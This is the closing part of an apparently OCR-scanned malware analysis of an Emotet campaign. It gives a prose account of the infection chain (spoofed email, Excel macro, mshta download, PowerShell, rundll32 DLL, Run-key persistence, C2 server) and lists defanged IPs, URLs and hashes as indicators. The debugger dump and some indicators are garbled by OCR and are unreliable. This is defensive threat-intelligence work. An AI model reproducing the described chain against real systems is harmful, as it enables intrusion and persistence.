e ECX 00000025 sHostex..  WinDe2101Eval me

51
E& A511FFFF
8304 34
FFT5 28
FF7S 18
FF?5 24
FF75 2C
[T

Bov ebp, esp
push dword ptr =

push dword ptr s
push dword pt
push dword pt
push dword pt

push dword ptr ss:[ebp-s;

push aax
push ecx
call 420CF25
add esp, 36

push dword ptr ss:[ebp-24]

push dword pt
push dword pt
push dword ptr s

b dwred nrv s

B8P 0269F7CH
£5P  0269F7AB
£SI BO0261FA
0T 0OCCO0DC

EIP  Q4TEBDAF

EFLAGS 00000380
IF O PF O AF B
OF @ SF@ OF 8
CFe TF1 IF1

1: [esp] 08CC000C

21 [esprd] 02985140
3: [esprd] FFFFFFFF
41 [esp+C] DODODODD
53 [espr10] 00000000

eaxs<wininet .HttpSendRequestn>

QL2EBDAF

0wl @oes:  E0we) @ Owed

Bowps  Bwady  eloon

LastError 0OOOMDO0 (ERRDR_SUCCESS)
Seafeasie cAARAATS FETATHE Wn TAEMY

>

=[5 2] 0] umioctes

0SCCOD0C
AL| 02985148

FFFFEFFF

Address |Hex
0207E310 || 00 35 002 00 37 00|39 00 JE 00|38 00 30 00

0297E320(2E 00 31 00|35 00 38 00(04 00 00 00 (00 00 00 00
0297E310|00 00 00 B0 |00 00 00 00 (00 00 00 0B [0 0F 20 0O
0207634901 00 00 30|00 00 00 0 (68 E3 97 42 (60 00 B0 00
0297E350(00 00 00 00 |00 20 00 00 |2C 35 B5 73 |AB BF 00 08
arorernalon 15 oo anlen an on aelea an on aalen 0o e e

00000000
nananana
09047803
700 |0000681F
C4 | 000IDIET

Figure 28 : Malware using HttpSendRequest function

Conclusion
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5000
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Imz
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The attacker sends email to the targeted victims by spoofing their display name to a legitimate name. However, the

email displays still stays the same, which is the original email of the Emotet campaign agent. For this specific

case, the attacker sent an email to one of the target using hijacked email thread. In the email is attached an excel

file titled ‘untitled_176399.xls ’. The content of their email contains a malicious script that will execute mshta

binary in order to download and execute the next malicious payload from 91.240.118.168.

The executed malicious payload will download a PNG file from the same IP containing Powershell payload that

will download malicious DLL from one of the domains, save it at C:/ProgramData with name QWER.DLL. Afet
that, it will execute RundlI32.exe to run QWER.DLL with an arbitrary argument. The execution of QWER.DLL
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with arbitrary argument served as the trigger for the next execution of QWER.DLL with specific argument of

DlIRegisterServer which is the real entrypoint of the DLL.

The malicious DLL will duplicate itself to a new arbitrary path in C:/<Users>/AppData/Local/ with new arbitrary
name and arbitrary arguments and register itself in HKCU\Software\Microsoft\Windows\CurrentVersion\Run in
Windows registry. As a result, the malicious DLL will be persistent and will be executed every time the user boots
up their machine. The persistence malware will communicate with the C2 server at 159.69.43.124 through the port
8080.

Indicator of Compromises

IP address

e 91.240.118[.]168
e 159.69.43[.]1124:8080 (C2 Servers)
e 45.79.80[.]198 (C2 Servers)

Domains

e http://91.240.118[.]168/00/aa/se.html

e http://91.240.118][.]168/00/aa/se.png

e http:/farmmash[.]Jcom/edh2fa/g2Q7Qbgs/

e http://karensgardentips[.]com/cgi-bin/hfpv/

e http://centrobilinguelospinos[.]Jcom/wp-admin/w8528qkQnMPLDUc/
e http://unitedhorus[.]Jcom/wp-content/m30xVSV2uY W2rbh/

e http://vldispatch[.]com/licenses/JE6012dfhrk/

e http://il-piccolo-principe[.]Jcom/wp-content/Ua9GvD7acXnDz/
e http://hardstonecapl.]Jcom/well-known/ps9kNMgc6/

e http://3-fasen[.]Jcom/wp-content/3BI0hBbW/

e http://baldcover[.]com/wp-admin/oRWkRUWpbJ55/

e 25995b47257212e2e3ca5f7704c9e830 (untitled_176399.xls)
e 9bf1102cd38dc1364f54407bb4cb2a (se.html)

e 63f0672552a000605e99190036€9676f (se.png)

e 74bb69b8ba9d2b649f4de5adb2cf06d9 (QWER.DLL)

Full report can be seen here

Source: https://notes.netbytesec.com/2022/02/technical-malware-analysis-return-of.html
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